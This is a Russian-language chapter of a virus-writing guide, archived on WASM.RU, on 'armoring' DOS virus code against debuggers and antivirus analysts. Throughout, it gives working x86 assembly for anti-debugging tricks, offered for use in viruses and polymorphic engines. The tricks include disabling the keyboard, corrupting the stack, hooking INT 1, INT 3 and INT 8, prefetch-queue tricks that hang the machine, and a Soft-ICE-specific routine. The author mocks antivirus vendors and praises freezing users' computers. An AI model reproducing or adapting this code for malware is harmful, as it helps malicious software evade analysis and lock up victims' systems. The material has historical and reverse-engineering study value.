Путеводитель по написанию вирусов: 4. Бронирование вашего кода — Архив WASM.RU

Все статьи

Путеводитель по написанию вирусов: 4. Бронирование вашего кода — Архив WASM.RU

Это очень обсуждаемая тема на сцене. Многие VXеры защищают свой код, чтобы сделать жизнь AVеров намного труднее. Конечно, мы говорим об антиотладочных процедурах. Есть много техник, которые мы все знаем... но было бы не плохо привести парочку из них здесь... не правда ли?

У этих методов есть много возможных функций. Они очень конфигурабельны. Вы можете сделать свои собственные процедуры для вашего вируса. Я думаю, что стоит поместить по крайней мере одну из этих процедур в ваш полиморфный движок (в таблицу длинных процедур, как в вирусе Zohra Wintermut'а), чтобы одурачить AVеров, которые пытаются расшифровать наш код.

Очень полезная вещь - это деактивация клавиатуры. Когда мы деактивируем клавиатуру, отлаживающий код не может его больше трейсить (F7 в TD). Если пользователь запускает программу на полную скорость... нет проблем. Только int 3 (брикпоинт) сделает остальное. Это очень простая вещь, которая работает очень хорошо! Давайте взглянем на код:

 bye_keyb:
        in      al,21h                  ; Давайте деактивируем клавиатуру
        or      al,02h                  ; Попробуйте нажать на любую клавишу
        out     21h,al

 fuck_int3:
        int     3h                      ; Брикпоинт

 exit_adbg:
        in      al,21h                  ; Давайте активируем клавиатуру
        and     al,not 2                ; Теперь клавиатура работает
        out     21h,al                  ; кул :)

Это хороший метод. Подумайте, что вы можете сделать... деактивирование клавиатуры каждый раз, когда наш выполняется наш вирус даст следующее: юзер не сможет нажать ^C, поэтому все, что вам нужно сделать, будет сделано. Действительно полезная и простая вещь.

Другой метод - это поиграться со стеком. Многие деббугеры спотыкаются об эту простую и старую вещь. Код? Держите:

 do_shit_stack:
        neg     sp
        neg     sp

Просто, а? Вы можете также сделать NOT вместо NEG. Будет тот же результат.

 tons_of_shit:
        not     sp
        not     sp

Что делает NEG? Он увеличивает значение регистра на 1, потом применяет NOT к результату. Hо это очень старый трюк... вы можете добавить его, но будет лучше поискать другие, так как это не пройдет со старыми отладчиками вроде Soft-Ice. Hо если вы собираетесь сделать полиморфный движок, вы можете добавить простую процедуру вроде этой и AVP будет сосать, пытаясь расшифровать ваш код. Хехе... Порождение Касперского сосет! Гхрм... Я забыл кое о чем... TBCLEAN говорит: "Достигнут краш стека" :) Ок... продолжаем... Другой метод заключается в переполнении стека:

 overflower:
        mov     ax,sp
        mov     sp,00h
        pop     bx
        mov     sp,ax

Конечно... есть еще. Другой классический трюк заключается в перехвате int 1 и/или int 3. У вас есть много возможностей, чтобы сделать это. Хорошо, мы можем предложить вам еще.

 change_int1_and_int3_using_dos:
        mov     ax,2501h                ; AL = INT, который нужно перехватить
        lea     dx,newint
        int     21h
        mov     al,03h
        int     21h
        [...]
 newint:
        jmp     $
        iret                            ; Зачем, если не используется? Хехе :)

Эта процедура может быть названа сторожевой резидентной собакой. Мы рекомендуем вам использовать нижеследующий метод. Перехват прямым манипулированием:

 int1:
        xor     ax,ax                   ; Давайте попробуем поместить IRET
                                        ; в INT 1
        mov     es,ax                   ; Hам нужен ES = 0. IVT в 0000:0000
        mov     word ptr es:[1h*4],0FEEBh ; jmp $

 int3:
        xor     ax,ax
        mov     es,ax
        mov     word ptr es:[3h*4],0FEEBh ; jmp $

Если вы не хотите повесить компьютер, просто замените 0FEEBh на 0CF90h (noр и iret [в перевернутом порядке, разумеется]).

Очень классная идея - это сделать так, чтобы int 3 указывал на int 21, а затем использовать его вместо int 21. Это хорошо для двух вещей: натянуть отладчики и оптимизировать ваш код... как это поможет оптимизировать ваш код? Опкод int 21 pавен CD 21 (занимает два байта), а int 3 - только CC...

Помните, что int 3 - это брикпоинт для отладчиков, поэтому каждый раз, когда вы будете вызывать int 3, отладчик будет останавливаться :). Вот сам код:

 getint21:
        mov     ax,3521h                ; Получаем вектора прерываний
        int     21h
        mov     word ptr [int21_ofs],bx
        mov     word ptr [int21_seg],es

        mov     ax,2503h
        lea     dx,jumptoint21
        int     21h
        [...]

 jumptoint21    db      0EAh
 int21          equ     this dword
 int21_ofs      dw      0000h
 int21_seg      dw      0000h

Мы также делаем сравнения со стеком, чтобы знать, не отлаживают ли нас. Вот несколько примеров:

 stack_compares:
        push    ax
        pop     ax
        dec     sp
        dec     sp
        pop     bx
        cmp     ax,bx
        jz      exit_adbg               ; не отлаживают
        jmр     $                       ; вешать компьютеры - это круто :)
 exit_adbg:

Помните запрещать прерывания (cli) и разрешать их снова (sti), если необходимо. Да, есть еще много других методов для защиты своего кода. Они, конечно, очень стары, но эй! они работают! Давайте взглянем на следующий... Манипуляци с префетчингом очень известны. Я очень люблю этот метод. Давайте взглянем на следующий код:

 prefetch:
        mov     word рtr cs:fake,0FEEBh ; Что, вы думаете, произойдет, если
 fake:  jmp     nekst                   ; код отлаживается? Да, PC повиснет!
 nekst:   
                              ; А дальше идет просто код

Вы также можете сделать еще больше различных вещей с префетчингом. Вы можете перейти к процедуре или поместить hlt (тоже зависон)...

 prefetch_fun:
        mov     word ptr cs:fake2,04CB4h
 fake2: jmp     bye_fake
        int     21h
 bye_fake:

Этот код прервет выполнение вашей программы. Довольно круто. А теперь процедура специально для SoftIce (лучший отладчик также одурачен).

По крайней мере так говорят многие люди. Вот сам код:

 soft_ice_fun:
        mov     ax,0911h                ; Функция Soft-ice запуска команды
        mov     di,4647h                ; DI = "FG"
        mov     si,4A4Eh                ; SI = "JM"
        lea     dx,soft_ice_fuck        ; Да!
        int     03h                     ; Int для брикпоинтов

 soft_ice_fuck  db      "bc *",10,0

Другой трюк состоит в том, чтобы перехватить int 8 и поместить туда сравнение переменной в нашем резидентном код, потому что многие дебуггеры деактивируют все прерывания, кроме int 8. Данное прерывание запускается 18.2 раз в секунду. Я рекомендую сохранить старый обработчик прерывания, прежде чем перехватывать его. Вам нужен код? Вот он:

 save_old_int8_handler:                 ; Вы помните журнал 40-hex?
        mov     ax,3508h                ; Это процедура из 7-го выпуска
        int     21h
        mov     word ptr [int8_ofs],bx
        mov     word ptr [int8_seg],es
        push    bx es
        mov     ah,25h                  ; Помещаем старый обработчик int 8
        lea     dx,virii
        int     21h
 fuckin_loop:
        cmр     fuckvar,1               ; Это вызовет небольшую задержку
        jnz     fuckin_loop
        pop     ds ds

        int     21h
        mov     ax,4C00h
        int     21h

 fuckvar        db      0
 int8           equ     this dword
 int8_ofs       dw      0000h
 int8_seg       dw      0000h
 program:
                ; bla bla bla
        mov     fuckvar,1
                ; more and more bla
        jmp     dword ptr [int8]

Запомните урок Demogorgon'а: "Hезащищенный код - это публичное достояние".

Эй! Будьте внимательны, если вам нужно дельта-смещение (т.е. вирусы времени выполнения) и добавьте его... ок?

2002-2013 (c) wasm.ru